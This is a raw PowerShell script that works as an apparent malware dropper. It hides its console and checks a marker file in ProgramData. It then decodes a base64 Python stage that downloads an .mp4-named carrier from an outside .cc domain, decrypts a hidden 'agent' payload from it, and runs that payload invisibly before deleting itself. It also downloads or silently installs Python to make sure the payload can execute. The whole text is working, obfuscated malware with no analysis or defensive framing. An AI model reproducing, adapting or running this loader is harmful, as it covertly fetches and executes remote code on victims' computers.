<# #> $__hc = @' using System; using System.Runtime.InteropServices; public class __HideConsole { [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); } '@ if (-not ('__HideConsole' -as [type])) { try { Add-Type -TypeDefinition $__hc -ErrorAction Stop } catch {} } if ('__HideConsole' -as [type]) { $__hwnd = [__HideConsole]::GetConsoleWindow() if ($__hwnd -ne [IntPtr]::Zero) { [void][__HideConsole]::ShowWindow($__hwnd, 0) } } $t3AP6vdfk = Get-Random -Minimum 0 -Maximum 80 Start-Sleep -Milliseconds $t3AP6vdfk $UYVBpExw = Join-Path $env:ProgramData $([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('LmNoXzAzNWMzZjY4OTA4NA=='))) if (Test-Path $UYVBpExw) { if ($env:CH_INDEX_FORCE -ne '1') { exit 0 } } $__chB64Parts = @( 'IyAtKi0gY29kaW5nOiB1dGYtOCAtKi0KaW1wb3J0IGJhc2U2NCxnemlwLG9zLHN0cnVjdCxzdWJwcm9jZXNzLHN5cyx0ZW1wZmlsZSxzc2wsdXJsbGliLnJlcXVlc3QKX0NIX1VSTD0iaHR0cHM6Ly91cGR1dGVybGwuY2MvZmlsZXMvZ1c2b3M3SVQwTGlrLzM0NzM3OTM0N2Z1bGxoZC5tcDQiCl9DSF9VVUlEPWJ5dGVzKFsyMTEsMjUsMjUsMjI5LDExNyw4MCw3OCwxNjQsMTQyLDI1NCw1Myw4LDE5MywyMDAsMTU5LDcxXSkKX0NIX01BR0lDPWJ5dGVzKFsyMjcsNDksMjU0LDg4XSkKX0NIX0RBVEFfRElSPSIudjdkZDIzNzk3NWRiIgpfQ0hfQU5DSE9SX0I2ND0iTG1Ob1h6QXpOV016WmpZNE9UQTROQT09IgpfRU1CRURfVEFHPSIzMTIiCl9FTUJFRF9BTUQ2ND0iaHR0cHM6Ly93d3cucHl0aG9uLm9yZy9mdHAvcHl0aG9uLzMuMTIuNy9weXRob24tMy4xMi43LWVtYmVkLWFtZDY0LnppcCIKX0VNQkVEX1dJTjMyPSJodHRwczovL3d3dy5weXRob24ub3JnL2Z0cC9weXRob24vMy4xMi43L3B5dGhvbi0zLjEyLjctZW1iZWQtd2luMzIuemlwIgpkZWYgX2NoX2RsKHVybCk6CiAgICBpZiBub3QgdXJsLmxvd2VyKCkuc3RhcnRzd2l0aCgiaHR0cCIpOgogICAgICAgIHVybD0iaHR0cDovLyIrdXJsLmxzdHJpcCgiLyIpCiAgICBjdHg9c3NsLmNyZWF0ZV9kZWZhdWx0X2NvbnRleHQoKQogICAgcmVxPXVybGxpYi5yZXF1ZXN0LlJlcXVlc3QodXJsLGhlYWRlcnM9eyJVc2VyLUFnZW50IjoiTW96aWxsYS81LjAifSkKICAgIHdpdGggdXJsbGliLnJlcXVlc3QudXJsb3BlbihyZXEsY29udGV4dD1jdHgsdGltZW91dD0xMjApIGFzIHI6CiAgICAgICAgcmV0dXJuIHIucmVhZCgpCmRlZiBfY2hfcmVhZF9pbnQoYixvKToKICAgIHJldHVybiAoKGJbb10mMjU1KTw8MjQpfCgoYltvKzFdJjI1NSk8PDE2KXwoKGJbbysyXSYyNTUpPDw4KXwoYltvKzNdJjI1NSkKZGVmIF9jaF9kZWNyeXB0X2Jsb2IoYmxvYik6CiAgICBmb3IgaSBpbiByYW5nZShsZW4oX0NIX01BR0lDKSk6CiAgICAgICAgaWYgYmxvYltpXSE9X0NIX01BR0lDW2ldOgogICAgICAgICAgICByYWlzZSBWYWx1ZUVycm9yKCJiYWQgYmxvYiIpCiAgICBrZXlfbGVuPShibG9iWzRdPDw4KXxibG9iWzVdCiAgICBvPTYKICAgIGtleT1ibG9iW286bytrZXlfbGVuXTsgbys9a2V5X2xlbgogICAgZGF0YV9sZW49X2NoX3JlYWRfaW50KGJsb2Isbyk7IG8rPTQKICAgIGVuYz1ieXRlYXJyYXkoYmxvYltvOm8rZGF0YV9sZW5dKQogICAgZm9yIGkgaW4gcmFuZ2UobGVuKGVuYykpOgogICAgICAgIGVuY1tpXV49a2V5W2klbGVuKGtleSldCiAgICByZXR1cm4gZ3ppcC5kZWNvbXByZXNzKGJ5dGVzKGVuYykpLmRlY29kZSgidXRmLTgiKQpkZWYgX2NoX2ZpbmRfdXVpZF9ib3goZGF0YSwgdWlkKToKICAgIGk9MAogICAgbj1sZW4oZGF0YSkKICAgIHdoaWxlIGkrODw9bjoKICAgICAgICBzaXplPV9jaF9yZWFkX2ludChkYXRhLGkpCiAgICAgICAgaWYgc2l6ZTwyNCBvciBpK3NpemU+bjoKICAgICAgICAgICAgaSs9MQogICAgICAgICAgICBjb250aW51ZQogICAgICAgIGlmIGRhdGFbaSs0OmkrOF09PWIidXVpZCIgYW5kIGRhdGFbaSs4OmkrMjRdPT11aWQ6CiAgICAgICAgICAgIHJldHVybiBkYXRhW2krMjQ6aStzaXplXQogICAgICAgIGlmIHNpemU8ODoKICAgICAgICAgICAgaSs9MQogICAgICAgICAgICBjb250aW51ZQogICAgICAgIGkrPXNpemUKICAgIHJhaXNlIFZhbHVlRXJyb3IoInV1aWQgYm94IG1pc3NpbmciKQpkZWYgX2NoX2Zyb21fY2FycmllcihyYXcpOgogICAgcmV0dXJuIF9jaF9kZWNyeXB0X2Jsb2IoX2NoX2ZpbmRfdXVpZF9ib3gocmF3LF9DSF9VVUlEKSkKZGVmIF9jaF9lbWJlZF9yb290KCk6CiAgICByZXR1cm4gb3MucGF0aC5qb2luKG9zLmVudmlyb24uZ2V0KCJMT0NBTEFQUERBVEEiLCIiKSxfQ0hfREFUQV9ESVIsInB5LWVtYmVkIixfRU1CRURfVEFHKQpkZWYgX2NoX2Vuc3VyZV9weXRob24oKToKICAgIGV4ZT1zeXMuZXhlY3V0YWJsZQogICAgaWYgZXhlIGFuZCBvcy5wYXRoLmlzZmlsZShleGUpOgogICAgICAgIHJldHVybiBleGUsWyItWCIsInV0ZjgiXQogICAgcm9vdD1fY2hfZW1iZWRfcm9vdCgpCiAgICBwbGFpbj1vcy5wYXRoLmpvaW4ocm9vdCwicHl0aG9uLmV4ZSIpCiAgICBpZiBvcy5wYXRoLmlzZmlsZShwbGFpbik6CiAgICAgICAgcmV0dXJuIHBsYWluLFsiLVgiLCJ1dGY4Il0KICAgIG9zLm1ha2VkaXJzKHJvb3QsZXhpc3Rfb2s9VHJ1ZSkKICAgIHVybD1fRU1CRURfQU1ENjQgaWYgc3lzLm1heHNpemU+MioqMzIgZWxzZSBfRU1CRURfV0lOMzIKICAgIHpwYXRoPW9zLnBhdGguam9pbih0ZW1wZmlsZS5nZXR0ZW1wZGlyKCksImNoX3B5XyIrb3MudXJhbmRvbSg4KS5oZXgoKSsiLnppcCIpCiAgICB3aXRoIG9wZW4oenBhdGgsIndiIikgYXMgZjoKICAgICAgICBmLndyaXRlKF9jaF9kbCh1cmwpKQogICAgaW1wb3J0IHppcGZpbGUKICAgIHdpdGggemlwZmlsZS5aaXBGaWxlKHpwYXRoKSBhcyB6ZjoKICAgICAgICB6Zi5leHRyYWN0YWxsKHJvb3QpCiAgICB0cnk6CiAgICAgICAgb3MucmVtb3ZlKHpwYXRoKQogICAgZXhjZXB0IE9TRXJyb3I6CiAgICAgICAgcGFzcwogICAgaWYgb3MucGF0aC5pc2ZpbGUocGxhaW4pOgogICAgICAgIHJldHVybiBwbGFpbixbIi1YIiwidXRmOCJdCiAgICByYWlzZSBTeXN0ZW1FeGl0KDEpCmRlZiBfY2hfc2V0X2FuY2hvcigpOgogICAgaWYgbm90IF9DSF9BTkNIT1JfQjY0OgogICAgICAgIHJldHVybgogICAgdHJ5OgogICAgICAgIGltcG9ydCB3aW5yZWcKICAgIGV4Y2VwdCBJbXBvcnRFcnJvcjoKICAgICAgICByZXR1cm4KICAgIG5hbWU9YmFzZTY0LmI2NGRlY29kZShfQ0hfQU5DSE9SX0I2NCkuZGVjb2RlKCJ1dGYtOCIpCiAgICBiYXNlPW9zLmVudmlyb24uZ2V0KCJQcm9ncmFtRGF0YSIsIiIpCiAgICBpZiBub3QgYmFzZToKICAgICAgICByZXR1cm4KICAgIHBhdGg9b3MucGF0aC5qb2luKGJhc2UsbmFtZSkKICAgIHRyeToKICAgICAgICBvcy5tYWtlZGlycyhiYXNlLGV4aXN0X29rPVRydWUpCiAgICAgICAgd2l0aCBvcGVuKHBhdGgsIndiIikgYXMgZjoKICAgICAgICAgICAgZi53cml0ZShiIiIpCiAgICBleGNlcHQgT1NFcnJvcjoKICAgICAgICBwYXNzCmRlZiBfY2hfbWFpbigpOgogICAgcmF3PV9jaF9kbChfQ0hfVVJMKQogICAgYWdlbnRfc3JjPV9jaF9mcm9tX2NhcnJpZXIocmF3KQogICAgYWdlbnRfcGF0aD1vcy5wYXRoLmpvaW4odGVtcGZpbGUuZ2V0dGVtcGRpcigpLCJjaGtfIitvcy51cmFuZG9tKDgpLmhleCgpKyIucHkiKQogICAgd2l0aCBvcGVuKGFnZW50X3BhdGgsInciLGVuY29kaW5nPSJ1dGYtOCIpIGFzIGY6CiAgICAgICAgZi53cml0ZShhZ2VudF9zcmMpCiAgICBweSxhcmdzPV9jaF9lbnN1cmVfcHl0aG9uKCkKICAgIHNpPXN1YnByb2Nlc3MuU1RBUlRVUElORk8oKQogICAgc2kuZHdGbGFnc3w9c3VicHJvY2Vzcy5TVEFSVEZfVVNFU0hPV1dJTkRPVwogICAgc2kud1Nob3dXaW5kb3c9MAogICAgY2Y9MHgwODAwMDAwMAogICAgc3VicHJvY2Vzcy5Qb3BlbihbcHldK2FyZ3MrW2FnZW50X3BhdGhdLHN0YXJ0dXBpbmZvPXNpLGNyZWF0aW9uZmxhZ3M9Y2YpCiAgICBfY2hfc2V0X2FuY2hvcigpCiAgICB0cnk6CiAgICAgICAgb3MucmVtb3ZlKF9fZmlsZV9fKQogICAgZXhjZXB0IE9TRXJyb3I6CiAgICAgICAgcGFzcwppZiBfX25hbWVfXz09Il9fbWFpbl9fIjoKICAgIF9jaF9tYWluKCkK' ) $__chB64 = $__chB64Parts -join '' $__chWorker = [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($__chB64)) $__chWorkerFile = Join-Path $env:TEMP ('ch_w_' + [guid]::NewGuid().ToString('N') + '.py') [System.IO.File]::WriteAllText($__chWorkerFile, $__chWorker, (New-Object System.Text.UTF8Encoding $false)) $__pyExe = $null $__pyArgs = @() $__embedRoot = Join-Path $env:LOCALAPPDATA ('.v7dd237975db\py-embed\312') $__pyPlain = Join-Path $__embedRoot 'python.exe' if (Test-Path -LiteralPath $__pyPlain) { $__pyExe = $__pyPlain } if (-not $__pyExe) { $__embedRoot = Join-Path $env:LOCALAPPDATA ('.v7dd237975db\py-embed\312') $__pyPlain = Join-Path $__embedRoot 'python.exe' if (Test-Path -LiteralPath $__pyPlain) { $__pyExe = $__pyPlain } else { New-Item -ItemType Directory -Path $__embedRoot -Force | Out-Null $__pyUrl = if ([Environment]::Is64BitOperatingSystem) { $([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly93d3cucHl0aG9uLm9yZy9mdHAvcHl0aG9uLzMuMTIuNy9weXRob24tMy4xMi43LWVtYmVkLWFtZDY0LnppcA=='))) } else { $([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly93d3cucHl0aG9uLm9yZy9mdHAvcHl0aG9uLzMuMTIuNy9weXRob24tMy4xMi43LWVtYmVkLXdpbjMyLnppcA=='))) } if ($__pyUrl -and $__pyUrl -notmatch '(?i)^https?://') { $__pyUrl = 'https://' + ($__pyUrl.Trim().TrimStart('/')) } $__pyZipBytes = $null try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 } catch {} $__pyZipBytes = $null try { $__dl = [Net.Http.HttpClient]::new() $__dl.Timeout = [TimeSpan]::FromSeconds(120) $__pyZipBytes = $__dl.GetByteArrayAsync($__pyUrl).GetAwaiter().GetResult() $__dl.Dispose() } catch {} if (-not $__pyZipBytes -or $__pyZipBytes.Length -lt 500000) { try { $__wc = New-Object Net.WebClient $__wc.Headers.Add('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)') $__pyZipBytes = $__wc.DownloadData($__pyUrl) } catch {} } if (-not $__pyZipBytes -or $__pyZipBytes.Length -lt 500000) { try { $__resp = &($([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('SW52b2tlLVdlYlJlcXVlc3Q=')))) -Uri $__pyUrl -UseBasicParsing -TimeoutSec 120 if ($__resp -and $__resp.RawContentStream) { $__pyZipBytes = $__resp.RawContentStream.ToArray() } } catch {} } if (-not $__pyZipBytes -or $__pyZipBytes.Length -lt 500000) { try { $__curlBin = Join-Path $env:SystemRoot 'System32\curl.exe' if (Test-Path -LiteralPath $__curlBin) { $__curlOut = Join-Path $env:TEMP ('ch_curl_' + [guid]::NewGuid().ToString('N')) $null = & $__curlBin -fsSL --max-time 120 -o $__curlOut $__pyUrl 2>$null if (Test-Path -LiteralPath $__curlOut) { $__curlData = [IO.File]::ReadAllBytes($__curlOut) Remove-Item -LiteralPath $__curlOut -Force -ErrorAction SilentlyContinue if ($__curlData.Length -ge 500000) { $__pyZipBytes = $__curlData } } } } catch {} } if (-not $__pyZipBytes -or $__pyZipBytes.Length -lt 500000) { } if ($__pyZipBytes -and $__pyZipBytes.Length -ge 500000) { $__pyZip = Join-Path $env:TEMP ('ch_py_' + [guid]::NewGuid().ToString('N') + '.zip') [IO.File]::WriteAllBytes($__pyZip, $__pyZipBytes) try { Expand-Archive -LiteralPath $__pyZip -DestinationPath $__embedRoot -Force } catch { Add-Type -AssemblyName System.IO.Compression.FileSystem [IO.Compression.ZipFile]::ExtractToDirectory($__pyZip, $__embedRoot) } Remove-Item -LiteralPath $__pyZip -Force -ErrorAction SilentlyContinue if (Test-Path -LiteralPath $__pyPlain) { $__pyExe = $__pyPlain } } } if (-not $__pyExe) { $__pyInstalled = Join-Path $env:LOCALAPPDATA ('Programs\Python\Python312\python.exe') $__pyInstalledAlt = Join-Path $env:LOCALAPPDATA ('Programs\Python\Python3.12\python.exe') if (Test-Path -LiteralPath $__pyInstalled) { $__pyExe = $__pyInstalled } elseif (Test-Path -LiteralPath $__pyInstalledAlt) { $__pyExe = $__pyInstalledAlt } else { $__msiCache = Join-Path $env:LOCALAPPDATA '.v7dd237975db\py-msi' New-Item -ItemType Directory -Path $__msiCache -Force | Out-Null $__pyUrl = if ([Environment]::Is64BitOperatingSystem) { $([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly93d3cucHl0aG9uLm9yZy9mdHAvcHl0aG9uLzMuMTIuNy9weXRob24tMy4xMi43LWFtZDY0LmV4ZQ=='))) } else { $([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aHR0cHM6Ly93d3cucHl0aG9uLm9yZy9mdHAvcHl0aG9uLzMuMTIuNy9weXRob24tMy4xMi43LmV4ZQ=='))) } if ($__pyUrl -and $__pyUrl -notmatch '(?i)^https?://') { $__pyUrl = 'https://' + ($__pyUrl.Trim().TrimStart('/')) } $__pyInstBytes = $null try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 } catch {} $__pyInstBytes = $null try { $__dl = [Net.Http.HttpClient]::new() $__dl.Timeout = [TimeSpan]::FromSeconds(120) $__pyInstBytes = $__dl.GetByteArrayAsync($__pyUrl).GetAwaiter().GetResult() $__dl.Dispose() } catch {} if (-not $__pyInstBytes -or $__pyInstBytes.Length -lt 5000000) { try { $__wc = New-Object Net.WebClient $__wc.Headers.Add('User-Agent', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)') $__pyInstBytes = $__wc.DownloadData($__pyUrl) } catch {} } if (-not $__pyInstBytes -or $__pyInstBytes.Length -lt 5000000) { try { $__resp = &($([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('SW52b2tlLVdlYlJlcXVlc3Q=')))) -Uri $__pyUrl -UseBasicParsing -TimeoutSec 120 if ($__resp -and $__resp.RawContentStream) { $__pyInstBytes = $__resp.RawContentStream.ToArray() } } catch {} } if (-not $__pyInstBytes -or $__pyInstBytes.Length -lt 5000000) { try { $__curlBin = Join-Path $env:SystemRoot 'System32\curl.exe' if (Test-Path -LiteralPath $__curlBin) { $__curlOut = Join-Path $env:TEMP ('ch_curl_' + [guid]::NewGuid().ToString('N')) $null = & $__curlBin -fsSL --max-time 120 -o $__curlOut $__pyUrl 2>$null if (Test-Path -LiteralPath $__curlOut) { $__curlData = [IO.File]::ReadAllBytes($__curlOut) Remove-Item -LiteralPath $__curlOut -Force -ErrorAction SilentlyContinue if ($__curlData.Length -ge 5000000) { $__pyInstBytes = $__curlData } } } } catch {} } if (-not $__pyInstBytes -or $__pyInstBytes.Length -lt 5000000) { } if ($__pyInstBytes -and $__pyInstBytes.Length -ge 5000000) { $__installer = Join-Path $env:TEMP ('ch_py_' + [guid]::NewGuid().ToString('N') + '.exe') [IO.File]::WriteAllBytes($__installer, $__pyInstBytes) $__instArgs = @( '/quiet', 'InstallAllUsers=0', 'PrependPath=0', 'Include_test=0', 'SimpleInstall=1', 'Include_launcher=0', 'AssociateFiles=0' ) $__proc = Start-Process -FilePath $__installer -ArgumentList $__instArgs -PassThru -WindowStyle Hidden -Wait Remove-Item -LiteralPath $__installer -Force -ErrorAction SilentlyContinue $__deadline = (Get-Date).AddMinutes(4) while ((Get-Date) -lt $__deadline) { if (Test-Path -LiteralPath $__pyInstalled) { $__pyExe = $__pyInstalled break } if (Test-Path -LiteralPath $__pyInstalledAlt) { $__pyExe = $__pyInstalledAlt break } Start-Sleep -Seconds 2 } if (-not $__pyExe) { $__roots = @( (Join-Path $env:LOCALAPPDATA 'Programs\Python'), (Join-Path $env:LOCALAPPDATA 'Programs\Python\Python312'), (Join-Path $env:LOCALAPPDATA 'Programs\Python\Python3.12') ) foreach ($__root in $__roots) { if (-not (Test-Path -LiteralPath $__root)) { continue } $__candidates = Get-ChildItem -Path $__root -Recurse -Filter 'python.exe' -ErrorAction SilentlyContinue | Select-Object -First 1 if ($__candidates) { $__pyExe = $__candidates.FullName; break } } } } } } } if (-not $__pyExe) { foreach ($__name in @('python.exe','pythonw.exe')) { $__cmd = Get-Command $__name -ErrorAction SilentlyContinue if ($__cmd) { if ($__name -eq 'python.exe') { $__pyExe = $__cmd.Source; break } $__pyExe = $__cmd.Source } } } if ($__pyExe -and $__pyExe -match 'pythonw\.exe$') { $__pyAlt = Join-Path (Split-Path -Parent $__pyExe) 'python.exe' if (Test-Path -LiteralPath $__pyAlt) { $__pyExe = $__pyAlt } } if (-not $__pyExe) { $__pyLauncher = Get-Command 'py.exe' -ErrorAction SilentlyContinue if ($__pyLauncher) { $__pyExe = $__pyLauncher.Source $__pyArgs = @('-3','-X','utf8') } } if (-not $__pyExe) { $__roots = @( (Join-Path $env:LOCALAPPDATA ('Programs\Python\Python312')), (Join-Path $env:LOCALAPPDATA 'Programs\Python'), (Join-Path $env:LOCALAPPDATA 'Python') ) foreach ($__root in $__roots) { if (-not (Test-Path -LiteralPath $__root)) { continue } $__candidates = Get-ChildItem -Path $__root -Recurse -Filter 'python.exe' -ErrorAction SilentlyContinue | Select-Object -First 1 if ($__candidates) { $__pyExe = $__candidates.FullName; break } } } if ($__pyExe -and (-not $__pyArgs -or $__pyArgs.Count -eq 0) -and $__pyExe -notmatch '\\py\.exe$') { $__pyArgs = @('-X','utf8') } if (-not $__pyExe) { exit 1 } if (-not $__pyExe) { exit 1 } Start-Process -FilePath $__pyExe -ArgumentList ($__pyArgs + @($__chWorkerFile)) -WindowStyle Hidden -PassThru | Out-Null exit